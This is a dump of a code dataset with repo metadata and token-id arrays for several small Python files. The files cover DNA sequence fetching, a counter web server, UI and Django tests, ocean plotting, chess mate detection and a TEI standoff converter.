max_stars_repo_path
stringlengths
4
237
max_stars_repo_name
stringlengths
6
117
max_stars_count
int64
0
95.2k
id
stringlengths
1
7
content
stringlengths
12
593k
input_ids
sequencelengths
7
549k
cruzdb/sequence.py
adelq/cruzdb
82
48678
import urllib as U __all__ = ('sequence', ) def _seq_from_xml(xml): start = xml.find(">", xml.find("<DNA")) + 1 end = xml.rfind("</DNA>") return xml[start:end].replace(' ', '').replace('\n', '').strip() def sequence(db, chrom, start, end): """ return the sequence for a region using the UCSC DAS server. note the start is 1-based each feature will have it's own .sequence method which sends the correct start and end to this function. >>> sequence('hg18', 'chr2', 2223, 2230) 'caacttag' """ url = "http://genome.ucsc.edu/cgi-bin/das/%s" % db url += "/dna?segment=%s:%i,%i" xml = U.urlopen(url % (chrom, start, end)).read() return _seq_from_xml(xml) if __name__ == "__main__": import doctest doctest.testmod()
[ 1, 1053, 3142, 1982, 408, 501, 13, 13, 1649, 497, 1649, 353, 6702, 16506, 742, 1723, 13, 13, 1753, 903, 11762, 29918, 3166, 29918, 3134, 29898, 3134, 1125, 13, 1678, 1369, 353, 4903, 29889, 2886, 703, 28341, 4903, 29889, 2886, 28945, 29928, 3521, 5783, 718, 29871, 29896, 13, 1678, 1095, 353, 4903, 29889, 29878, 2886, 703, 829, 29928, 3521, 29958, 1159, 13, 1678, 736, 4903, 29961, 2962, 29901, 355, 1822, 6506, 877, 13420, 525, 2824, 6506, 28909, 29876, 742, 525, 2824, 17010, 580, 13, 13, 1753, 5665, 29898, 2585, 29892, 25173, 29892, 1369, 29892, 1095, 1125, 13, 1678, 9995, 13, 1678, 736, 278, 5665, 363, 263, 5120, 773, 278, 501, 29907, 7187, 360, 3289, 13, 1678, 1923, 29889, 4443, 278, 1369, 338, 29871, 29896, 29899, 6707, 13, 1678, 1269, 4682, 674, 505, 372, 29915, 29879, 1914, 869, 16506, 1158, 607, 16003, 13, 1678, 278, 1959, 1369, 322, 1095, 304, 445, 740, 29889, 13, 13, 1678, 8653, 5665, 877, 29882, 29887, 29896, 29947, 742, 525, 22495, 29906, 742, 29871, 29906, 29906, 29906, 29941, 29892, 29871, 29906, 29906, 29941, 29900, 29897, 13, 1678, 525, 1113, 627, 4039, 29915, 13, 1678, 9995, 13, 1678, 3142, 353, 376, 1124, 597, 1885, 608, 29889, 1682, 1557, 29889, 6085, 29914, 20006, 29899, 2109, 29914, 17370, 22584, 29879, 29908, 1273, 4833, 13, 1678, 3142, 4619, 5591, 29881, 1056, 29973, 28192, 16328, 29879, 16664, 29875, 24163, 29875, 29908, 13, 1678, 4903, 353, 501, 29889, 332, 417, 2238, 29898, 2271, 1273, 313, 27433, 29892, 1369, 29892, 1095, 8106, 949, 580, 13, 1678, 736, 903, 11762, 29918, 3166, 29918, 3134, 29898, 3134, 29897, 13, 13, 361, 4770, 978, 1649, 1275, 376, 1649, 3396, 1649, 1115, 13, 1678, 1053, 437, 312, 342, 13, 1678, 437, 312, 342, 29889, 1688, 1545, 580, 13, 2 ]
chapter2-5-your-code-in-multiple-servers/packer/webapp.py
andrecp/devops-fundamentals-to-k8s
0
12593
<reponame>andrecp/devops-fundamentals-to-k8s<gh_stars>0 #!/usr/bin/env python3 import json from http.server import HTTPServer, BaseHTTPRequestHandler num_requests = 0 class Handler(BaseHTTPRequestHandler): def _set_headers(self): self.send_response(200) self.send_header("Content-type", "application/json") self.end_headers() def do_GET(self): self._set_headers() global num_requests num_requests += 1 content = json.dumps({"num_requests": num_requests}).encode("utf8") self.wfile.write(content) if __name__ == "__main__": http_service = HTTPServer(("0.0.0.0", 8000), Handler) print(f"Starting http service on 0.0.0.0:8000") http_service.serve_forever()
[ 1, 529, 276, 1112, 420, 29958, 392, 3757, 29886, 29914, 3359, 3554, 29899, 27159, 1166, 1338, 29899, 517, 29899, 29895, 29947, 29879, 29966, 12443, 29918, 303, 1503, 29958, 29900, 13, 29937, 14708, 4855, 29914, 2109, 29914, 6272, 3017, 29941, 13, 5215, 4390, 13, 3166, 1732, 29889, 2974, 1053, 7331, 6004, 29892, 7399, 10493, 3089, 4598, 13, 13, 1949, 29918, 24830, 353, 29871, 29900, 13, 13, 1990, 5166, 1358, 29898, 5160, 10493, 3089, 4598, 1125, 13, 1678, 822, 903, 842, 29918, 13662, 29898, 1311, 1125, 13, 4706, 1583, 29889, 6717, 29918, 5327, 29898, 29906, 29900, 29900, 29897, 13, 4706, 1583, 29889, 6717, 29918, 6672, 703, 3916, 29899, 1853, 613, 376, 6214, 29914, 3126, 1159, 13, 4706, 1583, 29889, 355, 29918, 13662, 580, 13, 13, 1678, 822, 437, 29918, 7194, 29898, 1311, 1125, 13, 4706, 1583, 3032, 842, 29918, 13662, 580, 13, 4706, 5534, 954, 29918, 24830, 13, 4706, 954, 29918, 24830, 4619, 29871, 29896, 13, 4706, 2793, 353, 4390, 29889, 29881, 17204, 3319, 29908, 1949, 29918, 24830, 1115, 954, 29918, 24830, 7690, 12508, 703, 9420, 29947, 1159, 13, 4706, 1583, 29889, 29893, 1445, 29889, 3539, 29898, 3051, 29897, 13, 13, 13, 361, 4770, 978, 1649, 1275, 376, 1649, 3396, 1649, 1115, 13, 1678, 1732, 29918, 5509, 353, 7331, 6004, 29898, 703, 29900, 29889, 29900, 29889, 29900, 29889, 29900, 613, 29871, 29947, 29900, 29900, 29900, 511, 5166, 1358, 29897, 13, 1678, 1596, 29898, 29888, 29908, 4763, 292, 1732, 2669, 373, 29871, 29900, 29889, 29900, 29889, 29900, 29889, 29900, 29901, 29947, 29900, 29900, 29900, 1159, 13, 1678, 1732, 29918, 5509, 29889, 16349, 29918, 1079, 369, 580, 13, 2 ]
tests/test_watcher.py
hiyongz/uiautomator2
4,493
134778
# coding: utf-8 # import uiautomator2 as u2 def test_watch_context(sess: u2.Device): with sess.watch_context(builtin=True) as ctx: ctx.when("App").click() sess(text='Menu').click() assert sess(text='Inflate from XML').wait() def teardown_function(d: u2.Device): print("Teardown", d)
[ 1, 396, 14137, 29901, 23616, 29899, 29947, 13, 29937, 13, 13, 5215, 318, 423, 329, 290, 1061, 29906, 408, 318, 29906, 13, 13, 13, 1753, 1243, 29918, 12344, 29918, 4703, 29898, 29879, 404, 29901, 318, 29906, 29889, 11501, 1125, 13, 1678, 411, 27937, 29889, 12344, 29918, 4703, 29898, 16145, 262, 29922, 5574, 29897, 408, 12893, 29901, 13, 4706, 12893, 29889, 8256, 703, 2052, 2564, 3808, 580, 13, 308, 13, 4706, 27937, 29898, 726, 2433, 6823, 2824, 3808, 580, 13, 4706, 4974, 27937, 29898, 726, 2433, 15403, 403, 515, 6560, 2824, 10685, 580, 13, 13, 13, 1753, 734, 538, 776, 29918, 2220, 29898, 29881, 29901, 318, 29906, 29889, 11501, 1125, 13, 1678, 1596, 703, 7141, 538, 776, 613, 270, 29897, 13, 2 ]
agenda/tests/test_models.py
migueleichler/django-tdd
0
21543
<filename>agenda/tests/test_models.py from django.test import TestCase from agenda.models import Compromisso from model_mommy import mommy class CompromissoModelTest(TestCase): def setUp(self): self.instance = mommy.make('Compromisso') def test_string_representation(self): self.assertEqual(str(self.instance), self.instance.titulo) def test_obrigatory_fields(self): created = Compromisso.objects.create(horario=self.instance.horario) self.assertTrue(isinstance(created, Compromisso))
[ 1, 529, 9507, 29958, 351, 8395, 29914, 21150, 29914, 1688, 29918, 9794, 29889, 2272, 13, 3166, 9557, 29889, 1688, 1053, 4321, 8259, 13, 13, 3166, 946, 8395, 29889, 9794, 1053, 3831, 456, 275, 578, 13, 3166, 1904, 29918, 29885, 290, 1357, 1053, 16823, 1357, 13, 13, 13, 1990, 3831, 456, 275, 578, 3195, 3057, 29898, 3057, 8259, 1125, 13, 13, 1678, 822, 731, 3373, 29898, 1311, 1125, 13, 4706, 1583, 29889, 8758, 353, 16823, 1357, 29889, 5675, 877, 6843, 456, 275, 578, 1495, 13, 13, 1678, 822, 1243, 29918, 1807, 29918, 276, 26081, 29898, 1311, 1125, 13, 4706, 1583, 29889, 9294, 9843, 29898, 710, 29898, 1311, 29889, 8758, 511, 1583, 29889, 8758, 29889, 23545, 7207, 29897, 13, 13, 1678, 822, 1243, 29918, 711, 8966, 7606, 29918, 9621, 29898, 1311, 1125, 13, 4706, 2825, 353, 3831, 456, 275, 578, 29889, 12650, 29889, 3258, 29898, 2015, 2628, 29922, 1311, 29889, 8758, 29889, 2015, 2628, 29897, 13, 4706, 1583, 29889, 9294, 5574, 29898, 275, 8758, 29898, 11600, 29892, 3831, 456, 275, 578, 876, 13, 2 ]
Cas_1/C_ETA.py
Herpinemmanuel/Oceanography
1
153365
import numpy as np import matplotlib.pyplot as plt import cartopy.crs as ccrs from xmitgcm import open_mdsdataset from cartopy.mpl.gridliner import LONGITUDE_FORMATTER, LATITUDE_FORMATTER plt.ion() dir1 = '/homedata/bderembl/runmit/test_southatlgyre' ds1 = open_mdsdataset(dir1,iters='all',prefix=['Eta']) nt = 0 # Cartography of ETA plt.figure(1) ax = plt.subplot(projection=ccrs.PlateCarree()); ds1.Eta[nt,:,:].plot.pcolormesh('XC', 'YC', ax=ax); plt.title('Case 1 : ETA') ax.coastlines() gl = ax.gridlines(draw_labels=True, alpha = 0.5, linestyle='--'); gl.xlabels_top = False gl.ylabels_right = False gl.xformatter = LONGITUDE_FORMATTER gl.yformatter = LATITUDE_FORMATTER plt.savefig('ETA_Surface_Height_Anomaly_cas1'+'.png') plt.clf # Averages Average_ETA = ds1.Eta.mean().values print('Average of Surface Height Anomaly ') print(Average_ETA,'m') Average_ETA_mask = ds1.Eta.where(ds1.hFacC>0).mean().values print('Average of Surface Height Anomaly without continents') print(Average_ETA_mask,'m') # Temporal series plt.figure(2) x1 = ds1.Eta.mean(axis=[1,2]) Temporal_series =x1.plot() plt.title('Case 1 : Temporal series of ETA') plt.xlabel('Time') plt.ylabel('Average of Surface Height Anomaly') plt.savefig('Temporal_series_cas1'+'.png') plt.clf()
[ 1, 1053, 12655, 408, 7442, 13, 5215, 22889, 29889, 2272, 5317, 408, 14770, 29871, 13, 5215, 7774, 2270, 29889, 29883, 2288, 408, 21759, 2288, 29871, 13, 13, 3166, 921, 2415, 29887, 4912, 1053, 1722, 29918, 3487, 29879, 24713, 29871, 13, 3166, 7774, 2270, 29889, 29885, 572, 29889, 7720, 1915, 261, 1053, 365, 20614, 1806, 29965, 2287, 29918, 19094, 1299, 4945, 29892, 365, 1299, 1806, 29965, 2287, 29918, 19094, 1299, 4945, 13, 572, 29873, 29889, 291, 580, 13, 13, 3972, 29896, 353, 8207, 9706, 287, 532, 29914, 29890, 672, 13365, 29914, 3389, 2415, 29914, 1688, 29918, 29879, 2438, 271, 29880, 1927, 276, 29915, 13, 13, 6289, 29896, 353, 1722, 29918, 3487, 29879, 24713, 29898, 3972, 29896, 29892, 277, 414, 2433, 497, 742, 13506, 29922, 1839, 29923, 941, 11287, 13, 13, 593, 353, 29871, 29900, 13, 13, 29937, 12370, 5275, 310, 382, 6040, 13, 13, 572, 29873, 29889, 4532, 29898, 29896, 29897, 13, 1165, 353, 14770, 29889, 1491, 5317, 29898, 771, 6929, 29922, 617, 2288, 29889, 3247, 403, 8179, 929, 3310, 13, 6289, 29896, 29889, 29923, 941, 29961, 593, 29892, 29901, 29892, 29901, 1822, 5317, 29889, 29886, 1054, 555, 12094, 877, 29990, 29907, 742, 525, 29979, 29907, 742, 4853, 29922, 1165, 416, 13, 572, 29873, 29889, 3257, 877, 8259, 29871, 29896, 584, 382, 6040, 1495, 13, 1165, 29889, 1111, 579, 9012, 580, 13, 3820, 353, 4853, 29889, 7720, 9012, 29898, 4012, 29918, 21134, 29922, 5574, 29892, 15595, 353, 29871, 29900, 29889, 29945, 29892, 6276, 342, 1508, 2433, 489, 2157, 13, 3820, 29889, 29916, 21134, 29918, 3332, 353, 7700, 13, 3820, 29889, 29891, 21134, 29918, 1266, 353, 7700, 13, 3820, 29889, 29916, 689, 2620, 353, 365, 20614, 1806, 29965, 2287, 29918, 19094, 1299, 4945, 13, 3820, 29889, 29891, 689, 2620, 353, 365, 1299, 1806, 29965, 2287, 29918, 19094, 1299, 4945, 13, 13, 572, 29873, 29889, 7620, 1003, 877, 2544, 29909, 29918, 18498, 2161, 29918, 7011, 29918, 2744, 290, 14997, 29918, 9398, 29896, 18717, 4286, 2732, 1495, 13, 572, 29873, 29889, 695, 29888, 13, 13, 29937, 319, 369, 1179, 13, 13, 29909, 19698, 29918, 2544, 29909, 353, 18031, 29896, 29889, 29923, 941, 29889, 12676, 2141, 5975, 13, 2158, 877, 29909, 19698, 310, 6298, 2161, 22907, 530, 290, 14997, 25710, 13, 2158, 29898, 29909, 19698, 29918, 2544, 29909, 5501, 29885, 1495, 13, 29909, 19698, 29918, 2544, 29909, 29918, 13168, 353, 18031, 29896, 29889, 29923, 941, 29889, 3062, 29898, 6289, 29896, 29889, 29882, 29943, 562, 29907, 29958, 29900, 467, 12676, 2141, 5975, 13, 2158, 877, 29909, 19698, 310, 6298, 2161, 22907, 530, 290, 14997, 1728, 2145, 1237, 1495, 13, 2158, 29898, 29909, 19698, 29918, 2544, 29909, 29918, 13168, 5501, 29885, 1495, 13, 13, 29937, 6789, 1971, 284, 3652, 13, 13, 572, 29873, 29889, 4532, 29898, 29906, 29897, 13, 29916, 29896, 353, 18031, 29896, 29889, 29923, 941, 29889, 12676, 29898, 8990, 11759, 29896, 29892, 29906, 2314, 13, 5776, 1971, 284, 29918, 13757, 353, 29916, 29896, 29889, 5317, 580, 13, 572, 29873, 29889, 3257, 877, 8259, 29871, 29896, 584, 6789, 1971, 284, 3652, 310, 382, 6040, 1495, 13, 572, 29873, 29889, 29916, 1643, 877, 2481, 1495, 13, 572, 29873, 29889, 29891, 1643, 877, 29909, 19698, 310, 6298, 2161, 22907, 530, 290, 14997, 1495, 13, 572, 29873, 29889, 7620, 1003, 877, 5776, 1971, 284, 29918, 13757, 29918, 9398, 29896, 18717, 4286, 2732, 1495, 13, 572, 29873, 29889, 695, 29888, 580, 13, 2 ]
board/mates/backrank.py
raaahuuulll/chess-concepts
0
162910
import chess import board def is_back_rank_mate(fen, move): """ According to Wikipedia: > In chess, a back-rank checkmate (also known as the corridor mate) is a checkmate delivered by a rook or queen > along a back rank (that is, the row on which the pieces [not pawns] stand at the start of the game) in which > the mated king is unable to move up the board because the king is blocked by friendly pieces (usually pawns) > on the second rank. source: https://en.wikipedia.org/wiki/Back-rank_checkmate """ aug = board.AugBoard(fen) their_back_rank = 7 if aug.other_color == chess.BLACK else 0 their_king = aug.other_color_king() if any( ( their_king is None, chess.square_rank(their_king) != their_back_rank, chess.square_rank(move.to_square) != their_back_rank, ) ): return False aug.push(move) if any( ( not aug.is_checkmate(), aug.piece_type_at(move.to_square) not in [chess.QUEEN, chess.ROOK], ) ): return False num_friendly_blocking_pieces = 0 for square in aug.attacks(their_king) - aug.attacks(move.to_square): if chess.square_rank(square) == their_back_rank: continue if bool(aug.attackers(aug.other_color, square)): continue piece = aug.piece_at(square) if piece is None or piece.color != aug.current_color: return False else: num_friendly_blocking_pieces += 1 return num_friendly_blocking_pieces > 0
[ 1, 1053, 521, 404, 13, 13, 5215, 7613, 13, 13, 13, 1753, 338, 29918, 1627, 29918, 10003, 29918, 25046, 29898, 11350, 29892, 4337, 1125, 13, 1678, 9995, 13, 1678, 7579, 304, 14109, 29901, 13, 1678, 1405, 512, 521, 404, 29892, 263, 1250, 29899, 10003, 1423, 25046, 313, 15189, 2998, 408, 278, 1034, 2429, 272, 15358, 29897, 338, 263, 1423, 25046, 20115, 491, 263, 696, 554, 470, 26624, 13, 1678, 1405, 3412, 263, 1250, 7115, 313, 5747, 338, 29892, 278, 1948, 373, 607, 278, 12785, 518, 1333, 3300, 1233, 29879, 29962, 2317, 472, 278, 1369, 310, 278, 3748, 29897, 297, 607, 13, 1678, 1405, 278, 286, 630, 6989, 338, 9368, 304, 4337, 701, 278, 7613, 1363, 278, 6989, 338, 24370, 491, 19780, 12785, 313, 375, 1474, 3300, 1233, 29879, 29897, 13, 1678, 1405, 373, 278, 1473, 7115, 29889, 13, 1678, 2752, 29901, 2045, 597, 264, 29889, 6011, 29889, 990, 29914, 4594, 29914, 5841, 29899, 10003, 29918, 3198, 25046, 13, 1678, 9995, 13, 13, 1678, 11307, 353, 7613, 29889, 29909, 688, 28397, 29898, 11350, 29897, 13, 1678, 1009, 29918, 1627, 29918, 10003, 353, 29871, 29955, 565, 11307, 29889, 1228, 29918, 2780, 1275, 521, 404, 29889, 13367, 11375, 1683, 29871, 29900, 13, 13, 1678, 1009, 29918, 9292, 353, 11307, 29889, 1228, 29918, 2780, 29918, 9292, 580, 13, 13, 1678, 565, 738, 29898, 13, 4706, 313, 13, 9651, 1009, 29918, 9292, 338, 6213, 29892, 13, 9651, 521, 404, 29889, 17619, 29918, 10003, 29898, 1552, 381, 29918, 9292, 29897, 2804, 1009, 29918, 1627, 29918, 10003, 29892, 13, 9651, 521, 404, 29889, 17619, 29918, 10003, 29898, 11631, 29889, 517, 29918, 17619, 29897, 2804, 1009, 29918, 1627, 29918, 10003, 29892, 13, 4706, 1723, 13, 268, 1125, 13, 4706, 736, 7700, 13, 13, 1678, 11307, 29889, 5910, 29898, 11631, 29897, 13, 13, 1678, 565, 738, 29898, 13, 4706, 313, 13, 9651, 451, 11307, 29889, 275, 29918, 3198, 25046, 3285, 13, 9651, 11307, 29889, 12343, 346, 29918, 1853, 29918, 271, 29898, 11631, 29889, 517, 29918, 17619, 29897, 451, 297, 518, 305, 404, 29889, 11144, 1430, 29892, 521, 404, 29889, 1672, 8949, 1402, 13, 4706, 1723, 13, 268, 1125, 13, 4706, 736, 7700, 13, 13, 1678, 954, 29918, 18326, 368, 29918, 1271, 292, 29918, 12343, 778, 353, 29871, 29900, 13, 1678, 363, 6862, 297, 11307, 29889, 1131, 26514, 29898, 1552, 381, 29918, 9292, 29897, 448, 11307, 29889, 1131, 26514, 29898, 11631, 29889, 517, 29918, 17619, 1125, 13, 4706, 565, 521, 404, 29889, 17619, 29918, 10003, 29898, 17619, 29897, 1275, 1009, 29918, 1627, 29918, 10003, 29901, 13, 9651, 6773, 13, 4706, 565, 6120, 29898, 2987, 29889, 1131, 547, 414, 29898, 2987, 29889, 1228, 29918, 2780, 29892, 6862, 22164, 13, 9651, 6773, 13, 4706, 8424, 353, 11307, 29889, 12343, 346, 29918, 271, 29898, 17619, 29897, 13, 4706, 565, 8424, 338, 6213, 470, 8424, 29889, 2780, 2804, 11307, 29889, 3784, 29918, 2780, 29901, 13, 9651, 736, 7700, 13, 4706, 1683, 29901, 13, 9651, 954, 29918, 18326, 368, 29918, 1271, 292, 29918, 12343, 778, 4619, 29871, 29896, 13, 1678, 736, 954, 29918, 18326, 368, 29918, 1271, 292, 29918, 12343, 778, 1405, 29871, 29900, 13, 2 ]
standoffconverter/standoffs.py
millawell/standoffconverter
3
119132
<reponame>millawell/standoffconverter import numpy as np import json from .converters import flat_tree2position_table, flatten_tree, standoff2tree from .utils import get_order_for_traversal, create_el_from_so class Standoff: """Contains a reference to the etree.Element object and the corresponding ContextItem object to link the two representations. """ def __init__(self, tei_tree, namespaces={}): """Create a Converter from a tree element instance. arguments: tei_tree (etree.Element): the etree.Element instance. returns: (Standoff): The created Standoff instance. """ if "tei" not in namespaces: namespaces = {"tei": ""} self.tei_tree = tei_tree texts = self.tei_tree.findall(".//tei:text", namespaces=namespaces) if len(texts) == 0: raise ValueError("No text attribute found.") elif len(texts)>1: raise ValueError("More than one text element is not supported.") else: self.text_el = texts[0] self.text_el.tail = None # remove trailing whitespace of text element flat_tree = flatten_tree(self.text_el) self.table_ = flat_tree2position_table(flat_tree) @property def table(self): """Table as a flattened TEI tree and additional character-position information. The data of the table actually resides at >>> table.df position row_type el depth text 0 0 open text 0.0 None 1 0 open body 1.0 None 2 0 open p 2.0 None 3 0 text None NaN 1 4 1 text None NaN 5 2 text None NaN 2 6 3 text None NaN 7 4 text None NaN 3 8 5 close p 2.0 None 9 5 close body 1.0 None 10 5 close text 0.0 None where the column `position` refers to the character position and `el` is a pointer to the actual etree.Element.""" return self.table_ @property def tree(self): """tree of the TEI XML.""" return self.tei_tree @property def plain(self): """Plain text string of all text inside the <text> element of the TEI XML.""" return self.table.get_text() @property def standoffs(self): """List of standoff elements of the <text> element fo the TEI XML. Items are traversed in depth-first preorder.""" elements = {} for position, row_type, el, depth, text in self.table: if row_type in ["open", "empty"]: elements[el] = { "el": el, "begin": position, "end": None, "depth": depth } if row_type in ["close", "empty"]: elements[el]["end"] = position return get_order_for_traversal(list(elements.values())) @property def json(self): """JSON string of standoff elements of the <text> element fo the TEI XML. Items are traversed in depth-first preorder.""" so_as_json = [] for standoff in self.standoffs: so_as_json.append({ "tag": standoff["el"].tag, "attrib": dict(standoff["el"].attrib), "begin": int(standoff["begin"]), "end": int(standoff["end"]), "depth": int(standoff["depth"]), }) return json.dumps(so_as_json) @property def collapsed_table(self): """Table with text and context of the <text> element of the tei tree. All leaf/tail text with the same context is joined.""" return self.table.collapse() def get_parents(self, begin, end, depth=None): """Get all parent context. arguments: begin (int)-- beginning character position within the XML end (int)-- ending character position within the XML depth (int)-- depth of current element returns: parents (list) -- list of parent elements ordered by depth (closest is last). """ begin_ctx = self.table.get_context_at_pos(begin) if depth is not None: begin_parents = begin_ctx[:int(depth)] else: begin_parents = begin_ctx end_ctx = self.table.get_context_at_pos(max(begin, end-1)) if depth is not None: end_parents = end_ctx[:int(depth)] else: end_parents = end_ctx if len(begin_parents) > len(end_parents): parents = end_parents elif len(begin_parents) < len(end_parents): parents = begin_parents else: parents = begin_parents if begin_parents != end_parents: raise ValueError("no unique context found") return parents def get_children(self, begin, end, depth): """Get all children context. arguments: begin (int)-- beginning character position within the XML end (int)-- ending character position within the XML depth (int)-- depth of current element returns: children (list) -- list of children elements ordered by depth (closest is first). """ begin_ctx = self.table.get_context_at_pos(begin) if depth is None: depth = len(begin_ctx) children = set(begin_ctx[int(depth):]) if not (self.table.df.position==begin).any(): # begin not in self.table.df.position slice_ = self.table.df[np.logical_and( self.table.df.position < begin, self.table.df.row_type == "text" )] begin_idx = slice_.iloc[-1].name else: begin_idx = self.table.df[np.logical_and( self.table.df.position == begin, self.table.df.row_type == "text" )].iloc[0].name children = set() cache = set() c_row_pos = begin c_row_idx = begin_idx while c_row_pos <= end and c_row_idx < self.table.df.index.stop: c_row = self.table.df.loc[c_row_idx] c_row_pos = c_row.position if c_row.row_type == "open": cache.add(c_row.el) if c_row.row_type == "close" and c_row.el in cache: children.add(c_row.el) c_row_idx += 1 return list(children) def add_standoff(self, begin, end, tag, attrib): raise NotImplementedError() def __replace_el(self, old_el, new_el): second_parent = old_el.getparent() # and replace the subtree if second_parent is None: new_el.tail = self.text_el.tail self.text_el = new_el else: new_el.tail = old_el.tail second_parent.replace( old_el, new_el ) def recreate_subtree(self, parent): # extract part of the standoff table that needs to be recreated # as etree parent_begin, parent_end = self.table.df.loc[self.table.df.el == parent].index to_update = self.table.df.iloc[parent_begin:parent_end] # now, recreate the subtree this element is in new_parent_el, old_els2new_els = standoff2tree(to_update) for old_el, new_el in old_els2new_els.items(): self.table.set_el(old_el, {"el": new_el}) self.__replace_el( parent, new_parent_el ) def add_inline(self, begin, end, tag, depth=None, attrib=None, insert_index_at_pos=0): """Add a standoff element to the structure. The standoff element will be added to the caches and to the etree. arguments: begin (int)-- beginning character position within the XML end (int)-- ending character position within the XML tag (str)-- tag name, for example 'text' for <text>. depth (int)-- depth where to add the element. If None, it will be added deepest attrib (dict)-- dictionary of items that go into the attrib of etree.Element. Ultimately, attributes within tags. for example {"resp":"machine"} will result in <SOMETAG resp="machine">. """ attrib = attrib if attrib is not None else {} # First, create a new element and get parents and children new_el = create_el_from_so(tag, attrib) parents = self.get_parents(begin, end, depth) parent = parents[-1] # DEPTH handling # set own depth and increase children's depth by one new_depth = depth if depth is not None else len(parents) children = self.get_children(begin, end, new_depth) for child in children: child_depth = self.table.df[self.table.df.el==child].iloc[0].depth self.table.set_el(child, {"depth":child_depth+1} ) if begin == end: self.table.insert_empty(begin, new_el, new_depth, insert_index_at_pos=insert_index_at_pos) else: self.table.insert_open(begin, new_el, new_depth) self.table.insert_close(end, new_el, new_depth) self.recreate_subtree(parent) def remove_inline(self, del_el): """Remove a standoff element from the structure. The standoff element will be removed from the caches and from the etree. arguments: del_el (etree.Element)-- the element that should be removed """ el_open_row = self.table.df[np.logical_and( self.table.df.el == del_el, self.table.df.row_type.isin(["open", "empty"]) )].iloc[0] el_close_row = self.table.df[np.logical_and( self.table.df.el == del_el, self.table.df.row_type.isin(["close", "empty"]) )].iloc[0] begin = el_open_row.position end = el_close_row.position depth = el_open_row.depth parents = self.get_parents(begin, end, depth) parent = parents[-1] children = self.get_children(begin, end, depth) # DEPTH handling # decrease children's depth by one for child in children: child_depth = self.table.df[self.table.df.el==child].iloc[0].depth self.table.set_el(child, {"depth":child_depth-1} ) self.table.remove_el(del_el) self.recreate_subtree(parent) def add_span(self, begin, end, tag, depth, attrib, id_=None): """Add a span element to the structure. arguments: begin (int)-- beginning character position within the XML end (int)-- ending character position within the XML tag (str)-- tag name, for example 'text' for <text>. depth (int)-- depth where to add the element. If None, it will be added deepest """ #add span start attrib_ = {"spanTo":id_} if attrib is not None: attrib_.update(attrib) attrib = attrib_ self.add_inline( begin=begin, end=begin, tag=tag, depth=depth, attrib=attrib ) #add anchor self.add_inline( begin=end, end=end, tag="anchor", depth=depth, attrib={"id":id_} )
[ 1, 529, 276, 1112, 420, 29958, 29885, 2911, 5872, 29914, 1689, 2696, 535, 13549, 13, 5215, 12655, 408, 7442, 13, 5215, 4390, 13, 3166, 869, 535, 369, 2153, 1053, 12151, 29918, 8336, 29906, 3283, 29918, 2371, 29892, 1652, 8606, 29918, 8336, 29892, 380, 1743, 600, 29906, 8336, 13, 3166, 869, 13239, 1053, 679, 29918, 2098, 29918, 1454, 29918, 3018, 874, 284, 29892, 1653, 29918, 295, 29918, 3166, 29918, 578, 13, 308, 13, 308, 13, 1990, 624, 1743, 600, 29901, 13, 1678, 9995, 21409, 263, 3407, 304, 278, 634, 929, 29889, 2642, 1203, 322, 278, 6590, 15228, 2001, 1203, 304, 1544, 278, 1023, 22540, 29889, 13, 1678, 9995, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 734, 29875, 29918, 8336, 29892, 2983, 22459, 3790, 29913, 1125, 13, 4706, 9995, 4391, 263, 1281, 13549, 515, 263, 5447, 1543, 2777, 29889, 13, 308, 13, 4706, 6273, 29901, 13, 9651, 734, 29875, 29918, 8336, 313, 300, 929, 29889, 2642, 1125, 278, 634, 929, 29889, 2642, 2777, 29889, 13, 13, 4706, 3639, 29901, 13, 9651, 313, 855, 1743, 600, 1125, 450, 2825, 624, 1743, 600, 2777, 29889, 13, 4706, 9995, 13, 13, 4706, 565, 376, 15314, 29908, 451, 297, 2983, 22459, 29901, 13, 9651, 2983, 22459, 353, 8853, 15314, 1115, 5124, 29913, 13, 13, 4706, 1583, 29889, 15314, 29918, 8336, 353, 734, 29875, 29918, 8336, 13, 13, 4706, 26442, 353, 1583, 29889, 15314, 29918, 8336, 29889, 2886, 497, 17350, 458, 15314, 29901, 726, 613, 2983, 22459, 29922, 7039, 22459, 29897, 13, 4706, 565, 7431, 29898, 726, 29879, 29897, 1275, 29871, 29900, 29901, 13, 9651, 12020, 7865, 2392, 703, 3782, 1426, 5352, 1476, 23157, 13, 4706, 25342, 7431, 29898, 726, 29879, 15410, 29896, 29901, 13, 9651, 12020, 7865, 2392, 703, 20761, 1135, 697, 1426, 1543, 338, 451, 6969, 23157, 13, 4706, 1683, 29901, 13, 9651, 1583, 29889, 726, 29918, 295, 353, 26442, 29961, 29900, 29962, 13, 308, 13, 4706, 1583, 29889, 726, 29918, 295, 29889, 18237, 353, 6213, 396, 3349, 25053, 24358, 310, 1426, 1543, 13, 13, 4706, 12151, 29918, 8336, 353, 1652, 8606, 29918, 8336, 29898, 1311, 29889, 726, 29918, 295, 29897, 13, 4706, 1583, 29889, 2371, 29918, 353, 12151, 29918, 8336, 29906, 3283, 29918, 2371, 29898, 20620, 29918, 8336, 29897, 13, 13, 1678, 732, 6799, 13, 1678, 822, 1591, 29898, 1311, 1125, 13, 4706, 9995, 3562, 408, 263, 1652, 8606, 287, 17067, 29902, 5447, 322, 5684, 2931, 29899, 3283, 2472, 29889, 450, 848, 310, 278, 1591, 2869, 620, 2247, 472, 13, 308, 13, 6778, 29958, 1591, 29889, 2176, 13, 1678, 2602, 1948, 29918, 1853, 418, 560, 29871, 10809, 29871, 1426, 13, 29900, 965, 29900, 268, 1722, 1678, 1426, 268, 29900, 29889, 29900, 29871, 6213, 13, 29896, 965, 29900, 268, 1722, 1678, 3573, 268, 29896, 29889, 29900, 29871, 6213, 13, 29906, 965, 29900, 268, 1722, 539, 282, 268, 29906, 29889, 29900, 29871, 6213, 13, 29941, 965, 29900, 268, 1426, 1678, 6213, 1678, 18780, 418, 29896, 13, 29946, 965, 29896, 268, 1426, 1678, 6213, 1678, 18780, 13, 29945, 965, 29906, 268, 1426, 1678, 6213, 1678, 18780, 418, 29906, 13, 29953, 965, 29941, 268, 1426, 1678, 6213, 1678, 18780, 13, 29955, 965, 29946, 268, 1426, 1678, 6213, 1678, 18780, 418, 29941, 13, 29947, 965, 29945, 1678, 3802, 539, 282, 268, 29906, 29889, 29900, 29871, 6213, 13, 29929, 965, 29945, 1678, 3802, 1678, 3573, 268, 29896, 29889, 29900, 29871, 6213, 13, 29896, 29900, 3986, 29945, 1678, 3802, 1678, 1426, 268, 29900, 29889, 29900, 29871, 6213, 13, 13, 3062, 278, 1897, 421, 3283, 29952, 14637, 304, 278, 2931, 2602, 322, 421, 295, 29952, 338, 263, 